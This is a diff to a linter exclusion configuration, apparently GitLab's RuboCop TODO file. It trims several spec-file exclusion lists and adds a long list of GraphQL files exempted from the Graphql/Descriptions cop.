Exclude:
@@ -66,7 +50,6 @@ Rails/SaveBang:
- 'ee/spec/lib/gitlab/auth/ldap/access_spec.rb'
- 'ee/spec/lib/gitlab/auth/o_auth/user_spec.rb'
- 'ee/spec/lib/gitlab/auth/saml/user_spec.rb'
- - 'ee/spec/lib/gitlab/background_migration/fix_orphan_promoted_issues_spec.rb'
- 'ee/spec/lib/gitlab/elastic/search_results_spec.rb'
- 'ee/spec/lib/gitlab/email/handler/ee/service_desk_handler_spec.rb'
- 'ee/spec/lib/gitlab/geo_spec.rb'
@@ -74,11 +57,6 @@ Rails/SaveBang:
- 'ee/spec/lib/gitlab/import_export/group/relation_factory_spec.rb'
- 'ee/spec/lib/gitlab/mirror_spec.rb'
- 'ee/spec/mailers/notify_spec.rb'
- - 'ee/spec/migrations/fix_any_approver_rule_for_projects_spec.rb'
- - 'ee/spec/migrations/geo/migrate_ci_job_artifacts_to_separate_registry_spec.rb'
- - 'ee/spec/migrations/geo/migrate_lfs_objects_to_separate_registry_spec.rb'
- - 'ee/spec/migrations/schedule_merge_request_any_approval_rule_migration_spec.rb'
- - 'ee/spec/migrations/schedule_project_any_approval_rule_migration_spec.rb'
- 'ee/spec/models/application_setting_spec.rb'
- 'ee/spec/models/approval_merge_request_rule_spec.rb'
- 'ee/spec/models/approval_project_rule_spec.rb'
@@ -113,7 +91,6 @@ Rails/SaveBang:
- 'ee/spec/models/scim_oauth_access_token_spec.rb'
- 'ee/spec/models/upload_spec.rb'
- 'ee/spec/models/user_preference_spec.rb'
- - 'ee/spec/models/user_spec.rb'
- 'ee/spec/models/visible_approvable_spec.rb'
- 'ee/spec/models/vulnerabilities/feedback_spec.rb'
- 'ee/spec/models/vulnerabilities/issue_link_spec.rb'
@@ -236,7 +213,6 @@ Rails/SaveBang:
- 'spec/features/admin/admin_sees_project_statistics_spec.rb'
- 'spec/features/admin/admin_sees_projects_statistics_spec.rb'
- 'spec/features/admin/admin_users_impersonation_tokens_spec.rb'
- - 'spec/features/admin/admin_users_spec.rb'
- 'spec/features/boards/sidebar_spec.rb'
- 'spec/features/calendar_spec.rb'
- 'spec/features/commits_spec.rb'
@@ -262,7 +238,6 @@ Rails/SaveBang:
- 'spec/features/profiles/personal_access_tokens_spec.rb'
- 'spec/features/projects/features_visibility_spec.rb'
- 'spec/features/projects/fork_spec.rb'
- - 'spec/features/projects/jobs/permissions_spec.rb'
- 'spec/features/projects/jobs_spec.rb'
- 'spec/features/projects/members/user_requests_access_spec.rb'
- 'spec/features/projects/pages_lets_encrypt_spec.rb'
@@ -301,32 +276,6 @@ Rails/SaveBang:
- 'spec/lib/gitlab/auth/saml/user_spec.rb'
- 'spec/lib/gitlab/auth_spec.rb'
- 'spec/lib/gitlab/authorized_keys_spec.rb'
- - 'spec/lib/gitlab/background_migration/backfill_deployment_clusters_from_deployments_spec.rb'
- - 'spec/lib/gitlab/background_migration/backfill_project_repositories_spec.rb'
- - 'spec/lib/gitlab/background_migration/backfill_project_settings_spec.rb'
- - 'spec/lib/gitlab/background_migration/backfill_push_rules_id_in_projects_spec.rb'
- - 'spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb'
- - 'spec/lib/gitlab/background_migration/digest_column_spec.rb'
- - 'spec/lib/gitlab/background_migration/encrypt_columns_spec.rb'
- - 'spec/lib/gitlab/background_migration/fix_cross_project_label_links_spec.rb'
- - 'spec/lib/gitlab/background_migration/fix_projects_without_project_feature_spec.rb'
- - 'spec/lib/gitlab/background_migration/fix_projects_without_prometheus_service_spec.rb'
- - 'spec/lib/gitlab/background_migration/fix_user_namespace_names_spec.rb'
- - 'spec/lib/gitlab/background_migration/fix_user_project_route_names_spec.rb'
- - 'spec/lib/gitlab/background_migration/legacy_upload_mover_spec.rb'
- - 'spec/lib/gitlab/background_migration/legacy_uploads_migrator_spec.rb'
- - 'spec/lib/gitlab/background_migration/link_lfs_objects_projects_spec.rb'
- - 'spec/lib/gitlab/background_migration/migrate_issue_trackers_sensitive_data_spec.rb'
- - 'spec/lib/gitlab/background_migration/migrate_stage_index_spec.rb'
- - 'spec/lib/gitlab/background_migration/migrate_users_bio_to_user_details_spec.rb'
- - 'spec/lib/gitlab/background_migration/populate_canonical_emails_spec.rb'
- - 'spec/lib/gitlab/background_migration/populate_merge_request_assignees_table_spec.rb'
- - 'spec/lib/gitlab/background_migration/populate_user_highest_roles_table_spec.rb'
- - 'spec/lib/gitlab/background_migration/recalculate_project_authorizations_spec.rb'
- - 'spec/lib/gitlab/background_migration/remove_restricted_todos_spec.rb'
- - 'spec/lib/gitlab/background_migration/reset_merge_status_spec.rb'
- - 'spec/lib/gitlab/background_migration/set_confidential_note_events_on_services_spec.rb'
- - 'spec/lib/gitlab/background_migration/set_confidential_note_events_on_webhooks_spec.rb'
- 'spec/lib/gitlab/bitbucket_server_import/importer_spec.rb'
- 'spec/lib/gitlab/ci/ansi2json/style_spec.rb'
- 'spec/lib/gitlab/ci/status/build/common_spec.rb'
@@ -377,38 +326,6 @@ Rails/SaveBang:
- 'spec/lib/mattermost/session_spec.rb'
- 'spec/lib/mattermost/team_spec.rb'
- 'spec/mailers/notify_spec.rb'
- - 'spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb'
- - 'spec/migrations/20200122123016_backfill_project_settings_spec.rb'
- - 'spec/migrations/20200123155929_remove_invalid_jira_data_spec.rb'
- - 'spec/migrations/20200127090233_remove_invalid_issue_tracker_data_spec.rb'
- - 'spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb'
- - 'spec/migrations/20200313203550_remove_orphaned_chat_names_spec.rb'
- - 'spec/migrations/20200406102120_backfill_deployment_clusters_from_deployments_spec.rb'
- - 'spec/migrations/20200526115436_dedup_mr_metrics_spec.rb'
- - 'spec/migrations/add_deploy_token_type_to_deploy_tokens_spec.rb'
- - 'spec/migrations/add_incident_settings_to_all_existing_projects_spec.rb'
- - 'spec/migrations/add_unique_constraint_to_approvals_user_id_and_merge_request_id_spec.rb'
- - 'spec/migrations/backfill_and_add_not_null_constraint_to_released_at_column_on_releases_table_spec.rb'
- - 'spec/migrations/backfill_imported_snippet_repositories_spec.rb'
- - 'spec/migrations/backfill_releases_table_updated_at_and_add_not_null_constraints_to_timestamps_spec.rb'
- - 'spec/migrations/backfill_snippet_repositories_spec.rb'
- - 'spec/migrations/encrypt_plaintext_attributes_on_application_settings_spec.rb'
- - 'spec/migrations/enqueue_reset_merge_status_second_run_spec.rb'
- - 'spec/migrations/enqueue_reset_merge_status_spec.rb'
- - 'spec/migrations/fill_file_store_lfs_objects_spec.rb'
- - 'spec/migrations/fill_store_uploads_spec.rb'
- - 'spec/migrations/fix_null_type_labels_spec.rb'
- - 'spec/migrations/fix_pool_repository_source_project_id_spec.rb'
- - 'spec/migrations/fix_projects_without_project_feature_spec.rb'
- - 'spec/migrations/fix_projects_without_prometheus_services_spec.rb'
- - 'spec/migrations/fix_wrong_pages_access_level_spec.rb'
- - 'spec/migrations/insert_project_hooks_plan_limits_spec.rb'
- - 'spec/migrations/migrate_auto_dev_ops_domain_to_cluster_domain_spec.rb'
- - 'spec/migrations/move_limits_from_plans_spec.rb'
- - 'spec/migrations/populate_project_statistics_packages_size_spec.rb'
- - 'spec/migrations/schedule_link_lfs_objects_projects_spec.rb'
- - 'spec/migrations/schedule_populate_merge_request_assignees_table_spec.rb'
- - 'spec/migrations/seed_repository_storages_weighted_spec.rb'
- 'spec/models/appearance_spec.rb'
- 'spec/models/application_record_spec.rb'
- 'spec/models/application_setting_spec.rb'
@@ -704,14 +621,10 @@ RSpec/TimecopFreeze:
- 'ee/spec/services/vulnerability_exports/export_service_spec.rb'
- 'ee/spec/support/shared_contexts/lib/gitlab/insights/reducers/reducers_shared_contexts.rb'
- 'qa/spec/support/repeater_spec.rb'
- - 'spec/features/profiles/active_sessions_spec.rb'
- - 'spec/features/projects/environments/environment_metrics_spec.rb'
- 'spec/features/users/active_sessions_spec.rb'
- - 'spec/lib/atlassian/jira_connect/client_spec.rb'
- 'spec/lib/gitlab/analytics/cycle_analytics/base_query_builder_spec.rb'
- 'spec/lib/gitlab/analytics/cycle_analytics/median_spec.rb'
- 'spec/lib/gitlab/analytics/cycle_analytics/records_fetcher_spec.rb'
- - 'spec/lib/gitlab/anonymous_session_spec.rb'
- 'spec/lib/gitlab/auth/unique_ips_limiter_spec.rb'
- 'spec/lib/gitlab/checks/timed_logger_spec.rb'
- 'spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb'
@@ -724,10 +637,6 @@ RSpec/TimecopFreeze:
- 'spec/lib/rspec_flaky/flaky_example_spec.rb'
- 'spec/lib/rspec_flaky/listener_spec.rb'
- 'spec/models/active_session_spec.rb'
- - 'spec/models/container_repository_spec.rb'
- - 'spec/models/pages/lookup_path_spec.rb'
- - 'spec/models/project_feature_usage_spec.rb'
- - 'spec/requests/api/v3/github_spec.rb'
- 'spec/serializers/entity_date_helper_spec.rb'
- 'spec/support/cycle_analytics_helpers/test_generation.rb'
- 'spec/support/helpers/cycle_analytics_helpers.rb'
@@ -757,3 +666,891 @@ RSpec/TimecopTravel:
- 'spec/support/shared_examples/workers/concerns/reenqueuer_shared_examples.rb'
- 'spec/workers/concerns/reenqueuer_spec.rb'
- 'spec/lib/gitlab/analytics/cycle_analytics/median_spec.rb'
+
+Graphql/Descriptions:
+ Exclude:
+ - 'app/graphql/mutations/admin/sidekiq_queues/delete_jobs.rb'
+ - 'app/graphql/mutations/alert_management/base.rb'
+ - 'app/graphql/mutations/alert_management/http_integration/create.rb'
+ - 'app/graphql/mutations/alert_management/http_integration/destroy.rb'
+ - 'app/graphql/mutations/alert_management/http_integration/http_integration_base.rb'
+ - 'app/graphql/mutations/alert_management/http_integration/reset_token.rb'
+ - 'app/graphql/mutations/alert_management/http_integration/update.rb'
+ - 'app/graphql/mutations/alert_management/prometheus_integration/create.rb'
+ - 'app/graphql/mutations/alert_management/prometheus_integration/prometheus_integration_base.rb'
+ - 'app/graphql/mutations/alert_management/prometheus_integration/reset_token.rb'
+ - 'app/graphql/mutations/alert_management/prometheus_integration/update.rb'
+ - 'app/graphql/mutations/alert_management/update_alert_status.rb'
+ - 'app/graphql/mutations/award_emojis/base.rb'
+ - 'app/graphql/mutations/boards/destroy.rb'
+ - 'app/graphql/mutations/boards/issues/issue_move_list.rb'
+ - 'app/graphql/mutations/boards/lists/base.rb'
+ - 'app/graphql/mutations/boards/lists/create.rb'
+ - 'app/graphql/mutations/boards/lists/update.rb'
+ - 'app/graphql/mutations/branches/create.rb'
+ - 'app/graphql/mutations/ci/base.rb'
+ - 'app/graphql/mutations/ci/pipeline_retry.rb'
+ - 'app/graphql/mutations/commits/create.rb'
+ - 'app/graphql/mutations/concerns/mutations/resolves_resource_parent.rb'
+ - 'app/graphql/mutations/concerns/mutations/resolves_subscription.rb'
+ - 'app/graphql/mutations/concerns/mutations/spammable_mutation_fields.rb'
+ - 'app/graphql/mutations/container_expiration_policies/update.rb'
+ - 'app/graphql/mutations/container_repositories/destroy_tags.rb'
+ - 'app/graphql/mutations/custom_emoji/create.rb'
+ - 'app/graphql/mutations/design_management/base.rb'
+ - 'app/graphql/mutations/design_management/delete.rb'
+ - 'app/graphql/mutations/design_management/move.rb'
+ - 'app/graphql/mutations/design_management/upload.rb'
+ - 'app/graphql/mutations/discussions/toggle_resolve.rb'
+ - 'app/graphql/mutations/environments/canary_ingress/update.rb'
+ - 'app/graphql/mutations/issues/base.rb'
+ - 'app/graphql/mutations/issues/create.rb'
+ - 'app/graphql/mutations/issues/move.rb'
+ - 'app/graphql/mutations/issues/set_due_date.rb'
+ - 'app/graphql/mutations/issues/set_locked.rb'
+ - 'app/graphql/mutations/issues/update.rb'
+ - 'app/graphql/mutations/jira_import/import_users.rb'
+ - 'app/graphql/mutations/jira_import/start.rb'
+ - 'app/graphql/mutations/labels/create.rb'
+ - 'app/graphql/mutations/merge_requests/base.rb'
+ - 'app/graphql/mutations/merge_requests/create.rb'
+ - 'app/graphql/mutations/metrics/dashboard/annotations/create.rb'
+ - 'app/graphql/mutations/metrics/dashboard/annotations/delete.rb'
+ - 'app/graphql/mutations/notes/base.rb'
+ - 'app/graphql/mutations/notes/create/base.rb'
+ - 'app/graphql/mutations/notes/create/note.rb'
+ - 'app/graphql/mutations/notes/destroy.rb'
+ - 'app/graphql/mutations/notes/reposition_image_diff_note.rb'
+ - 'app/graphql/mutations/notes/update/base.rb'
+ - 'app/graphql/mutations/releases/base.rb'
+ - 'app/graphql/mutations/releases/create.rb'
+ - 'app/graphql/mutations/releases/update.rb'
+ - 'app/graphql/mutations/snippets/base.rb'
+ - 'app/graphql/mutations/snippets/create.rb'
+ - 'app/graphql/mutations/snippets/destroy.rb'
+ - 'app/graphql/mutations/snippets/mark_as_spam.rb'
+ - 'app/graphql/mutations/snippets/update.rb'
+ - 'app/graphql/mutations/terraform/state/base.rb'
+ - 'app/graphql/mutations/todos/create.rb'
+ - 'app/graphql/mutations/todos/mark_all_done.rb'
+ - 'app/graphql/mutations/todos/mark_done.rb'
+ - 'app/graphql/mutations/todos/restore.rb'
+ - 'app/graphql/mutations/todos/restore_many.rb'
+ - 'app/graphql/resolvers/admin/analytics/instance_statistics/measurements_resolver.rb'
+ - 'app/graphql/resolvers/alert_management/alert_resolver.rb'
+ - 'app/graphql/resolvers/alert_management/alert_status_counts_resolver.rb'
+ - 'app/graphql/resolvers/board_list_issues_resolver.rb'
+ - 'app/graphql/resolvers/board_lists_resolver.rb'
+ - 'app/graphql/resolvers/board_resolver.rb'
+ - 'app/graphql/resolvers/boards_resolver.rb'
+ - 'app/graphql/resolvers/ci/config_resolver.rb'
+ - 'app/graphql/resolvers/ci/jobs_resolver.rb'
+ - 'app/graphql/resolvers/ci/runner_setup_resolver.rb'
+ - 'app/graphql/resolvers/concerns/issue_resolver_arguments.rb'
+ - 'app/graphql/resolvers/concerns/resolves_pipelines.rb'
+ - 'app/graphql/resolvers/concerns/resolves_snippets.rb'
+ - 'app/graphql/resolvers/concerns/time_frame_arguments.rb'
+ - 'app/graphql/resolvers/container_repositories_resolver.rb'
+ - 'app/graphql/resolvers/design_management/design_at_version_resolver.rb'
+ - 'app/graphql/resolvers/design_management/design_resolver.rb'
+ - 'app/graphql/resolvers/design_management/designs_resolver.rb'
+ - 'app/graphql/resolvers/design_management/version/design_at_version_resolver.rb'
+ - 'app/graphql/resolvers/design_management/version/designs_at_version_resolver.rb'
+ - 'app/graphql/resolvers/design_management/version_in_collection_resolver.rb'
+ - 'app/graphql/resolvers/design_management/version_resolver.rb'
+ - 'app/graphql/resolvers/design_management/versions_resolver.rb'
+ - 'app/graphql/resolvers/echo_resolver.rb'
+ - 'app/graphql/resolvers/environments_resolver.rb'
+ - 'app/graphql/resolvers/error_tracking/sentry_detailed_error_resolver.rb'
+ - 'app/graphql/resolvers/error_tracking/sentry_error_stack_trace_resolver.rb'
+ - 'app/graphql/resolvers/error_tracking/sentry_errors_resolver.rb'
+ - 'app/graphql/resolvers/full_path_resolver.rb'
+ - 'app/graphql/resolvers/group_members_resolver.rb'
+ - 'app/graphql/resolvers/group_milestones_resolver.rb'
+ - 'app/graphql/resolvers/issues_resolver.rb'
+ - 'app/graphql/resolvers/members_resolver.rb'
+ - 'app/graphql/resolvers/merge_request_resolver.rb'
+ - 'app/graphql/resolvers/merge_requests_resolver.rb'
+ - 'app/graphql/resolvers/metrics/dashboard_resolver.rb'
+ - 'app/graphql/resolvers/metrics/dashboards/annotation_resolver.rb'
+ - 'app/graphql/resolvers/milestones_resolver.rb'
+ - 'app/graphql/resolvers/namespace_projects_resolver.rb'
+ - 'app/graphql/resolvers/project_members_resolver.rb'
+ - 'app/graphql/resolvers/project_milestones_resolver.rb'
+ - 'app/graphql/resolvers/project_pipeline_resolver.rb'
+ - 'app/graphql/resolvers/projects/jira_projects_resolver.rb'
+ - 'app/graphql/resolvers/projects/services_resolver.rb'
+ - 'app/graphql/resolvers/projects_resolver.rb'
+ - 'app/graphql/resolvers/release_resolver.rb'
+ - 'app/graphql/resolvers/releases_resolver.rb'
+ - 'app/graphql/resolvers/snippets/blobs_resolver.rb'
+ - 'app/graphql/resolvers/snippets_resolver.rb'
+ - 'app/graphql/resolvers/todo_resolver.rb'
+ - 'app/graphql/resolvers/tree_resolver.rb'
+ - 'app/graphql/resolvers/user_resolver.rb'
+ - 'app/graphql/resolvers/user_starred_projects_resolver.rb'
+ - 'app/graphql/resolvers/users/snippets_resolver.rb'
+ - 'app/graphql/resolvers/users_resolver.rb'
+ - 'app/graphql/types/access_level_type.rb'
+ - 'app/graphql/types/admin/analytics/instance_statistics/measurement_type.rb'
+ - 'app/graphql/types/admin/sidekiq_queues/delete_jobs_response_type.rb'
+ - 'app/graphql/types/alert_management/alert_status_counts_type.rb'
+ - 'app/graphql/types/alert_management/alert_type.rb'
+ - 'app/graphql/types/alert_management/integration_type.rb'
+ - 'app/graphql/types/award_emojis/award_emoji_type.rb'
+ - 'app/graphql/types/board_list_type.rb'
+ - 'app/graphql/types/board_type.rb'
+ - 'app/graphql/types/boards/board_issue_input_base_type.rb'
+ - 'app/graphql/types/boards/board_issue_input_type.rb'
+ - 'app/graphql/types/branch_type.rb'
+ - 'app/graphql/types/ci/analytics_type.rb'
+ - 'app/graphql/types/ci/config/config_type.rb'
+ - 'app/graphql/types/ci/config/group_type.rb'
+ - 'app/graphql/types/ci/config/job_type.rb'
+ - 'app/graphql/types/ci/config/need_type.rb'
+ - 'app/graphql/types/ci/config/stage_type.rb'
+ - 'app/graphql/types/ci/detailed_status_type.rb'
+ - 'app/graphql/types/ci/group_type.rb'
+ - 'app/graphql/types/ci/job_artifact_type.rb'
+ - 'app/graphql/types/ci/job_type.rb'
+ - 'app/graphql/types/ci/pipeline_type.rb'
+ - 'app/graphql/types/ci/runner_architecture_type.rb'
+ - 'app/graphql/types/ci/runner_platform_type.rb'
+ - 'app/graphql/types/ci/runner_setup_type.rb'
+ - 'app/graphql/types/ci/stage_type.rb'
+ - 'app/graphql/types/ci/status_action_type.rb'
+ - 'app/graphql/types/commit_action_type.rb'
+ - 'app/graphql/types/commit_type.rb'
+ - 'app/graphql/types/container_expiration_policy_type.rb'
+ - 'app/graphql/types/container_repository_details_type.rb'
+ - 'app/graphql/types/container_repository_type.rb'
+ - 'app/graphql/types/countable_connection_type.rb'
+ - 'app/graphql/types/current_user_todos.rb'
+ - 'app/graphql/types/custom_emoji_type.rb'
+ - 'app/graphql/types/design_management/design_at_version_type.rb'
+ - 'app/graphql/types/design_management/design_collection_type.rb'
+ - 'app/graphql/types/design_management/design_fields.rb'
+ - 'app/graphql/types/design_management/design_type.rb'
+ - 'app/graphql/types/design_management/version_type.rb'
+ - 'app/graphql/types/design_management_type.rb'
+ - 'app/graphql/types/diff_paths_input_type.rb'
+ - 'app/graphql/types/diff_refs_type.rb'
+ - 'app/graphql/types/diff_stats_summary_type.rb'
+ - 'app/graphql/types/diff_stats_type.rb'
+ - 'app/graphql/types/environment_type.rb'
+ - 'app/graphql/types/error_tracking/sentry_detailed_error_type.rb'
+ - 'app/graphql/types/error_tracking/sentry_error_collection_type.rb'
+ - 'app/graphql/types/error_tracking/sentry_error_frequency_type.rb'
+ - 'app/graphql/types/error_tracking/sentry_error_stack_trace_context_type.rb'
+ - 'app/graphql/types/error_tracking/sentry_error_stack_trace_entry_type.rb'
+ - 'app/graphql/types/error_tracking/sentry_error_stack_trace_type.rb'
+ - 'app/graphql/types/error_tracking/sentry_error_tags_type.rb'
+ - 'app/graphql/types/error_tracking/sentry_error_type.rb'
+ - 'app/graphql/types/evidence_type.rb'
+ - 'app/graphql/types/grafana_integration_type.rb'
+ - 'app/graphql/types/group_invitation_type.rb'
+ - 'app/graphql/types/group_member_type.rb'
+ - 'app/graphql/types/group_type.rb'
+ - 'app/graphql/types/invitation_interface.rb'
+ - 'app/graphql/types/issue_type.rb'
+ - 'app/graphql/types/jira_import_type.rb'
+ - 'app/graphql/types/jira_user_type.rb'
+ - 'app/graphql/types/jira_users_mapping_input_type.rb'
+ - 'app/graphql/types/label_type.rb'
+ - 'app/graphql/types/member_interface.rb'
+ - 'app/graphql/types/merge_request_connection_type.rb'
+ - 'app/graphql/types/merge_request_type.rb'
+ - 'app/graphql/types/metadata_type.rb'
+ - 'app/graphql/types/metrics/dashboard_type.rb'
+ - 'app/graphql/types/metrics/dashboards/annotation_type.rb'
+ - 'app/graphql/types/milestone_stats_type.rb'
+ - 'app/graphql/types/milestone_type.rb'
+ - 'app/graphql/types/namespace_type.rb'
+ - 'app/graphql/types/notes/diff_position_type.rb'
+ - 'app/graphql/types/notes/discussion_type.rb'
+ - 'app/graphql/types/notes/note_type.rb'
+ - 'app/graphql/types/notes/noteable_type.rb'
+ - 'app/graphql/types/package_type.rb'
+ - 'app/graphql/types/project_invitation_type.rb'
+ - 'app/graphql/types/project_member_type.rb'
+ - 'app/graphql/types/project_statistics_type.rb'
+ - 'app/graphql/types/project_type.rb'
+ - 'app/graphql/types/projects/service_type.rb'
+ - 'app/graphql/types/projects/services/jira_project_type.rb'
+ - 'app/graphql/types/projects/services/jira_service_type.rb'
+ - 'app/graphql/types/prometheus_alert_type.rb'
+ - 'app/graphql/types/query_type.rb'
+ - 'app/graphql/types/range_input_type.rb'
+ - 'app/graphql/types/release_asset_link_input_type.rb'
+ - 'app/graphql/types/release_asset_link_type.rb'
+ - 'app/graphql/types/release_assets_input_type.rb'
+ - 'app/graphql/types/release_assets_type.rb'
+ - 'app/graphql/types/release_links_type.rb'
+ - 'app/graphql/types/release_source_type.rb'
+ - 'app/graphql/types/release_type.rb'
+ - 'app/graphql/types/repository_type.rb'
+ - 'app/graphql/types/resolvable_interface.rb'
+ - 'app/graphql/types/root_storage_statistics_type.rb'
+ - 'app/graphql/types/snippet_type.rb'
+ - 'app/graphql/types/snippets/blob_action_input_type.rb'
+ - 'app/graphql/types/snippets/blob_type.rb'
+ - 'app/graphql/types/snippets/blob_viewer_type.rb'
+ - 'app/graphql/types/task_completion_status.rb'
+ - 'app/graphql/types/terraform/state_type.rb'
+ - 'app/graphql/types/terraform/state_version_type.rb'
+ - 'app/graphql/types/todo_type.rb'
+ - 'app/graphql/types/tree/blob_type.rb'
+ - 'app/graphql/types/tree/entry_type.rb'
+ - 'app/graphql/types/tree/submodule_type.rb'
+ - 'app/graphql/types/tree/tree_entry_type.rb'
+ - 'app/graphql/types/tree/tree_type.rb'
+ - 'app/graphql/types/user_status_type.rb'
+ - 'app/graphql/types/user_type.rb'
+ - 'ee/app/graphql/ee/mutations/boards/issues/issue_move_list.rb'
+ - 'ee/app/graphql/ee/mutations/boards/lists/create.rb'
+ - 'ee/app/graphql/ee/mutations/issues/create.rb'
+ - 'ee/app/graphql/ee/mutations/issues/update.rb'
+ - 'ee/app/graphql/ee/resolvers/issues_resolver.rb'
+ - 'ee/app/graphql/ee/resolvers/namespace_projects_resolver.rb'
+ - 'ee/app/graphql/ee/types/board_list_type.rb'
+ - 'ee/app/graphql/ee/types/board_type.rb'
+ - 'ee/app/graphql/ee/types/boards/board_issue_input_base_type.rb'
+ - 'ee/app/graphql/ee/types/boards/board_issue_input_type.rb'
+ - 'ee/app/graphql/ee/types/ci/pipeline_type.rb'
+ - 'ee/app/graphql/ee/types/group_type.rb'
+ - 'ee/app/graphql/ee/types/issue_connection_type.rb'
+ - 'ee/app/graphql/ee/types/merge_request_type.rb'
+ - 'ee/app/graphql/ee/types/namespace_type.rb'
+ - 'ee/app/graphql/ee/types/project_type.rb'
+ - 'ee/app/graphql/ee/types/query_type.rb'
+ - 'ee/app/graphql/mutations/admin/analytics/devops_adoption/segments/delete.rb'
+ - 'ee/app/graphql/mutations/admin/analytics/devops_adoption/segments/mixins.rb'
+ - 'ee/app/graphql/mutations/admin/analytics/devops_adoption/segments/update.rb'
+ - 'ee/app/graphql/mutations/boards/lists/update_limit_metrics.rb'
+ - 'ee/app/graphql/mutations/boards/update.rb'
+ - 'ee/app/graphql/mutations/boards/update_epic_user_preferences.rb'
+ - 'ee/app/graphql/mutations/compliance_management/frameworks/destroy.rb'
+ - 'ee/app/graphql/mutations/compliance_management/frameworks/update.rb'
+ - 'ee/app/graphql/mutations/clusters/agent_tokens/create.rb'
+ - 'ee/app/graphql/mutations/clusters/agent_tokens/delete.rb'
+ - 'ee/app/graphql/mutations/clusters/agents/create.rb'
+ - 'ee/app/graphql/mutations/clusters/agents/delete.rb'
+ - 'ee/app/graphql/mutations/concerns/mutations/shared_epic_arguments.rb'
+ - 'ee/app/graphql/mutations/epic_tree/reorder.rb'
+ - 'ee/app/graphql/mutations/epics/add_issue.rb'
+ - 'ee/app/graphql/mutations/epics/base.rb'
+ - 'ee/app/graphql/mutations/epics/create.rb'
+ - 'ee/app/graphql/mutations/epics/set_subscription.rb'
+ - 'ee/app/graphql/mutations/epics/update.rb'
+ - 'ee/app/graphql/mutations/incident_management/oncall_schedule/create.rb'
+ - 'ee/app/graphql/mutations/incident_management/oncall_schedule/destroy.rb'
+ - 'ee/app/graphql/mutations/incident_management/oncall_schedule/oncall_schedule_base.rb'
+ - 'ee/app/graphql/mutations/incident_management/oncall_schedule/update.rb'
+ - 'ee/app/graphql/mutations/instance_security_dashboard/add_project.rb'
+ - 'ee/app/graphql/mutations/instance_security_dashboard/remove_project.rb'
+ - 'ee/app/graphql/mutations/issues/common_ee_mutation_arguments.rb'
+ - 'ee/app/graphql/mutations/issues/promote_to_epic.rb'
+ - 'ee/app/graphql/mutations/issues/set_weight.rb'
+ - 'ee/app/graphql/mutations/iterations/create.rb'
+ - 'ee/app/graphql/mutations/namespaces/base.rb'
+ - 'ee/app/graphql/mutations/quality_management/test_cases/create.rb'
+ - 'ee/app/graphql/mutations/requirements_management/base_requirement.rb'
+ - 'ee/app/graphql/mutations/requirements_management/update_requirement.rb'
+ - 'ee/app/graphql/mutations/security/ci_configuration/configure_sast.rb'
+ - 'ee/app/graphql/mutations/vulnerabilities/confirm.rb'
+ - 'ee/app/graphql/mutations/vulnerabilities/dismiss.rb'
+ - 'ee/app/graphql/mutations/vulnerabilities/resolve.rb'
+ - 'ee/app/graphql/mutations/vulnerabilities/revert_to_detected.rb'
+ - 'ee/app/graphql/resolvers/board_groupings/epics_resolver.rb'
+ - 'ee/app/graphql/resolvers/boards/epic_boards_resolver.rb'
+ - 'ee/app/graphql/resolvers/ci/code_coverage_activities_resolver.rb'
+ - 'ee/app/graphql/resolvers/clusters/agents_resolver.rb'
+ - 'ee/app/graphql/resolvers/dast_site_profile_resolver.rb'
+ - 'ee/app/graphql/resolvers/dast_site_validation_resolver.rb'
+ - 'ee/app/graphql/resolvers/epics_resolver.rb'
+ - 'ee/app/graphql/resolvers/geo/registries_resolver.rb'
+ - 'ee/app/graphql/resolvers/requirements_management/requirements_resolver.rb'
+ - 'ee/app/graphql/resolvers/requirements_management/test_reports_resolver.rb'
+ - 'ee/app/graphql/resolvers/timelog_resolver.rb'
+ - 'ee/app/graphql/resolvers/vulnerabilities/issue_links_resolver.rb'
+ - 'ee/app/graphql/resolvers/vulnerabilities_count_per_day_resolver.rb'
+ - 'ee/app/graphql/resolvers/vulnerabilities_grade_resolver.rb'
+ - 'ee/app/graphql/resolvers/vulnerabilities_history_resolver.rb'
+ - 'ee/app/graphql/resolvers/vulnerabilities_resolver.rb'
+ - 'ee/app/graphql/resolvers/vulnerability_severities_count_resolver.rb'
+ - 'ee/app/graphql/types/admin/analytics/devops_adoption/segment_type.rb'
+ - 'ee/app/graphql/types/admin/analytics/devops_adoption/snapshot_type.rb'
+ - 'ee/app/graphql/types/boards/board_epic_type.rb'
+ - 'ee/app/graphql/types/boards/epic_board_type.rb'
+ - 'ee/app/graphql/types/boards/epic_user_preferences_type.rb'
+ - 'ee/app/graphql/types/burnup_chart_daily_totals_type.rb'
+ - 'ee/app/graphql/types/ci_configuration/sast/analyzers_entity_input_type.rb'
+ - 'ee/app/graphql/types/ci_configuration/sast/analyzers_entity_type.rb'
+ - 'ee/app/graphql/types/ci_configuration/sast/entity_input_type.rb'
+ - 'ee/app/graphql/types/ci_configuration/sast/input_type.rb'
+ - 'ee/app/graphql/types/clusters/agent_token_type.rb'
+ - 'ee/app/graphql/types/clusters/agent_type.rb'
+ - 'ee/app/graphql/types/compliance_management/compliance_framework_type.rb'
+ - 'ee/app/graphql/types/dast_scanner_profile_type.rb'
+ - 'ee/app/graphql/types/dast_site_profile_type.rb'
+ - 'ee/app/graphql/types/dast_site_validation_type.rb'
+ - 'ee/app/graphql/types/epic_descendant_count_type.rb'
+ - 'ee/app/graphql/types/epic_descendant_weight_sum_type.rb'
+ - 'ee/app/graphql/types/epic_health_status_type.rb'
+ - 'ee/app/graphql/types/epic_issue_type.rb'
+ - 'ee/app/graphql/types/epic_tree/epic_tree_node_input_type.rb'
+ - 'ee/app/graphql/types/epic_type.rb'
+ - 'ee/app/graphql/types/external_issue_type.rb'
+ - 'ee/app/graphql/types/geo/geo_node_type.rb'
+ - 'ee/app/graphql/types/geo/merge_request_diff_registry_type.rb'
+ - 'ee/app/graphql/types/geo/package_file_registry_type.rb'
+ - 'ee/app/graphql/types/geo/snippet_repository_registry_type.rb'
+ - 'ee/app/graphql/types/geo/terraform_state_version_registry_type.rb'
+ - 'ee/app/graphql/types/group_stats_type.rb'
+ - 'ee/app/graphql/types/incident_management/oncall_schedule_type.rb'
+ - 'ee/app/graphql/types/instance_security_dashboard_type.rb'
+ - 'ee/app/graphql/types/iteration_type.rb'
+ - 'ee/app/graphql/types/metric_image_type.rb'
+ - 'ee/app/graphql/types/requirements_management/requirement_states_count_type.rb'
+ - 'ee/app/graphql/types/requirements_management/requirement_type.rb'
